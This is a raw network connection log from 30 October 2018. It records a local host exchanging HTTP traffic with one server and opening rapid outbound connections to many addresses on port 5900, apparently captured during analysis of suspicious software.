Oct 30, 2018 14:45:24.957007885 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.957024097 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.957041025 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.957056999 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.957073927 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.957088947 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.957120895 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:24.957140923 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.957161903 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.957178116 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.957195997 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.957206964 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:24.957215071 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.957235098 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.957252026 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.957271099 CET	80	51583	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:24.957274914 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:24.959470034 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:24.985815048 CET	5900	51631	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:24.986213923 CET	5900	51631	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:25.028578997 CET	51631	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:25.033915043 CET	53	61156	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:25.062014103 CET	5900	51629	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:25.062129974 CET	51629	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:25.157172918 CET	5900	51632	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:25.157327890 CET	51632	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:25.293065071 CET	5900	51631	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:25.293636084 CET	5900	51631	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:25.293795109 CET	5900	51631	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:25.293859959 CET	51631	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:25.335604906 CET	51631	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:25.454461098 CET	5900	51632	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:25.513777971 CET	51632	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:25.601012945 CET	5900	51631	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:25.601136923 CET	51631	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:25.833909988 CET	5900	51632	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:25.835221052 CET	5900	51632	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:25.835309982 CET	51632	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:25.847282887 CET	51632	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:26.130997896 CET	5900	51632	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:26.131112099 CET	51632	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:26.381412029 CET	51625	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:26.490331888 CET	51627	5900	192.168.1.81	63.44.30.134
Oct 30, 2018 14:45:27.059429884 CET	5900	51626	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:27.287645102 CET	51630	5900	192.168.1.81	151.55.81.113
Oct 30, 2018 14:45:27.884207010 CET	51633	5900	192.168.1.81	139.63.4.90
Oct 30, 2018 14:45:28.397841930 CET	51634	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:28.729170084 CET	5900	51634	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:28.729284048 CET	51634	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:32.066013098 CET	5900	51634	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:32.204334974 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:32.204458952 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:32.381489038 CET	51625	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:32.429080009 CET	5900	51625	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:32.429200888 CET	51625	5900	192.168.1.81	193.167.56.72
Oct 30, 2018 14:45:32.477178097 CET	5900	51625	193.167.56.72	192.168.1.81
Oct 30, 2018 14:45:32.490415096 CET	51627	5900	192.168.1.81	63.44.30.134
Oct 30, 2018 14:45:32.992120981 CET	51635	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:32.994564056 CET	51636	5900	192.168.1.81	191.128.238.199
Oct 30, 2018 14:45:32.994762897 CET	51637	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:32.994915009 CET	51638	5900	192.168.1.81	66.85.39.23
Oct 30, 2018 14:45:32.995059967 CET	51639	5900	192.168.1.81	57.230.36.59
Oct 30, 2018 14:45:33.280838966 CET	5900	51635	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:33.280956030 CET	51635	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:33.327370882 CET	5900	51637	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:33.327461004 CET	51637	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:33.564991951 CET	51640	5900	192.168.1.81	70.118.251.48
Oct 30, 2018 14:45:33.588197947 CET	5900	51635	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:33.588527918 CET	5900	51635	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:33.680694103 CET	51641	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:33.680975914 CET	51635	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:33.883296967 CET	5900	51641	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:33.883413076 CET	51641	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:33.997230053 CET	5900	51635	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:33.997550964 CET	5900	51635	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:33.997893095 CET	5900	51635	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:33.997992039 CET	51635	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:34.069782019 CET	51635	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:34.088226080 CET	5900	51641	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:34.203031063 CET	51641	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:34.219305038 CET	51642	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:34.305371046 CET	5900	51635	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:34.305474043 CET	51635	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:34.356542110 CET	5900	51636	191.128.238.199	192.168.1.81
Oct 30, 2018 14:45:34.417579889 CET	5900	51641	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:34.417618036 CET	5900	51641	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:34.417690039 CET	5900	51641	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:34.417742014 CET	51641	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:34.441425085 CET	5900	51642	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:34.441503048 CET	51642	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:34.537493944 CET	51641	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:34.633616924 CET	5900	51641	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:34.633747101 CET	51641	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:34.662307978 CET	5900	51642	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:34.662864923 CET	5900	51642	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:34.677459955 CET	51642	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:34.701147079 CET	51643	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:34.702240944 CET	51644	5900	192.168.1.81	209.49.79.217
Oct 30, 2018 14:45:34.880701065 CET	51636	5900	192.168.1.81	191.128.238.199
Oct 30, 2018 14:45:34.911803007 CET	5900	51643	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:34.911896944 CET	51643	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:34.918694019 CET	5900	51642	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:34.919193983 CET	5900	51642	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:34.919354916 CET	5900	51642	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:34.919425964 CET	51642	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:34.932651043 CET	51642	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:35.127376080 CET	5900	51643	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:35.188389063 CET	51643	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:35.226505041 CET	5900	51642	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:35.226610899 CET	51642	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:35.236593962 CET	5900	51636	191.128.238.199	192.168.1.81
Oct 30, 2018 14:45:35.259211063 CET	51645	5900	192.168.1.81	198.122.55.74
Oct 30, 2018 14:45:35.344985962 CET	51646	5900	192.168.1.81	169.3.42.78
Oct 30, 2018 14:45:35.409677982 CET	5900	51643	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:35.410682917 CET	5900	51643	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:35.410774946 CET	51643	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:35.411853075 CET	51643	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:35.434459925 CET	51647	5900	192.168.1.81	167.105.225.117
Oct 30, 2018 14:45:35.457357883 CET	51648	5900	192.168.1.81	89.30.160.138
Oct 30, 2018 14:45:35.484796047 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.498594999 CET	51649	5900	192.168.1.81	181.190.236.19
Oct 30, 2018 14:45:35.505563974 CET	51650	5900	192.168.1.81	181.190.236.19
Oct 30, 2018 14:45:35.510495901 CET	51651	5900	192.168.1.81	181.190.236.19
Oct 30, 2018 14:45:35.510677099 CET	51652	5900	192.168.1.81	181.190.236.19
Oct 30, 2018 14:45:35.515178919 CET	51653	5900	192.168.1.81	181.190.236.19
Oct 30, 2018 14:45:35.515320063 CET	51654	5900	192.168.1.81	181.190.236.19
Oct 30, 2018 14:45:35.519102097 CET	51655	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.519361973 CET	51656	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.519493103 CET	51657	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.519601107 CET	51658	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.525722027 CET	51659	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.525839090 CET	51660	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.525986910 CET	51661	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.526093960 CET	51662	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.526218891 CET	51663	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.540071964 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.540113926 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.540159941 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.540163040 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.540232897 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.540251017 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.540268898 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.540296078 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.540297031 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.540321112 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.540337086 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.540354013 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.540401936 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.552409887 CET	51664	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.552575111 CET	51665	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.553359032 CET	51666	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.553493977 CET	51667	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.553725004 CET	51668	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.553841114 CET	51669	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.553941011 CET	51670	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.554053068 CET	51671	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.554296970 CET	51672	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.554413080 CET	51673	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.554513931 CET	51674	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.554613113 CET	51675	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.554711103 CET	51676	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.554810047 CET	51677	5900	192.168.1.81	79.5.30.141
Oct 30, 2018 14:45:35.570779085 CET	51678	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:35.570940018 CET	51679	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:35.571649075 CET	51680	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:35.571768999 CET	51681	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:35.571964979 CET	51682	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:35.572079897 CET	51683	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:35.572346926 CET	51684	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:35.572586060 CET	51685	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:35.572880983 CET	51686	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:35.573117971 CET	51687	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:35.573334932 CET	51688	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:35.573537111 CET	51689	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:35.573730946 CET	51690	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:35.573930025 CET	51691	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:35.574132919 CET	51692	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:35.574327946 CET	51693	5900	192.168.1.81	191.126.31.154
Oct 30, 2018 14:45:35.579785109 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.583832979 CET	51694	5900	192.168.1.81	203.23.201.38
Oct 30, 2018 14:45:35.586544037 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.595185041 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.595268011 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.595316887 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.595362902 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.595380068 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.595511913 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.595542908 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.595588923 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.595593929 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.595632076 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.595663071 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.595704079 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.595731020 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.595731974 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.595783949 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.595808983 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.595834970 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.595845938 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.595860958 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.595885992 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.595911980 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.595937014 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.595947027 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.596044064 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.610167027 CET	51695	5900	192.168.1.81	97.85.85.173
Oct 30, 2018 14:45:35.626101017 CET	5900	51643	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:35.626167059 CET	51643	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:35.640008926 CET	51696	5900	192.168.1.81	90.227.173.190
Oct 30, 2018 14:45:35.650397062 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.650485992 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.650723934 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.650763988 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.650789022 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.650810003 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.650829077 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.650893927 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.650903940 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.650945902 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.650971889 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.651006937 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.651019096 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.651031971 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.651072979 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.651103973 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.651107073 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.651141882 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.651170015 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.651175022 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.651201010 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.651226044 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.651238918 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.651252031 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.651314974 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.672719955 CET	51697	5900	192.168.1.81	123.98.181.2
Oct 30, 2018 14:45:35.705466032 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.705538034 CET	51698	5900	192.168.1.81	116.65.44.212
Oct 30, 2018 14:45:35.705593109 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.706237078 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.706269979 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.706332922 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.706337929 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.706371069 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.706398010 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.706410885 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.706478119 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.706501961 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.706523895 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.706530094 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.706553936 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.706589937 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.706617117 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.706619978 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.706644058 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.706671000 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.706697941 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.706724882 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.706754923 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.706754923 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.706836939 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.723526955 CET	51583	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.735622883 CET	51699	5900	192.168.1.81	174.1.197.98
Oct 30, 2018 14:45:35.760500908 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.760529995 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.760600090 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.761917114 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.761953115 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.761981010 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.762012005 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.762042046 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.762116909 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.762160063 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.762228012 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.762238979 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.762268066 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.762290001 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.762295008 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.762311935 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.762335062 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.762356997 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.762377977 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.762403965 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.762418985 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.762425900 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.762448072 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.762468100 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.762495995 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.762504101 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.762742043 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.766463041 CET	51700	5900	192.168.1.81	205.35.184.184
Oct 30, 2018 14:45:35.779735088 CET	54538	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:35.786990881 CET	51636	5900	192.168.1.81	191.128.238.199
Oct 30, 2018 14:45:35.797394991 CET	51701	5900	192.168.1.81	133.44.193.53
Oct 30, 2018 14:45:35.806256056 CET	53	54538	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:35.815850973 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.815892935 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.816090107 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.816905022 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.817003965 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.817960978 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.818011999 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.818041086 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.818068981 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.818098068 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.818198919 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.818655014 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.818700075 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.818722010 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.818773031 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.818823099 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.818881989 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.818885088 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.818938017 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.818993092 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.819045067 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.819056034 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.819072962 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.819101095 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.819128990 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.819155931 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.819155931 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.819183111 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.819258928 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.829696894 CET	51702	5900	192.168.1.81	88.125.223.98
Oct 30, 2018 14:45:35.859481096 CET	51703	5900	192.168.1.81	181.231.83.148
Oct 30, 2018 14:45:35.871665955 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.871705055 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.871732950 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.871942997 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.872215033 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.872311115 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.873075962 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.873136997 CET	51559	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:35.873138905 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.873171091 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.873199940 CET	80	51559	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:35.873251915 CET	51559	80	192.168.1.81	92.63.197.48
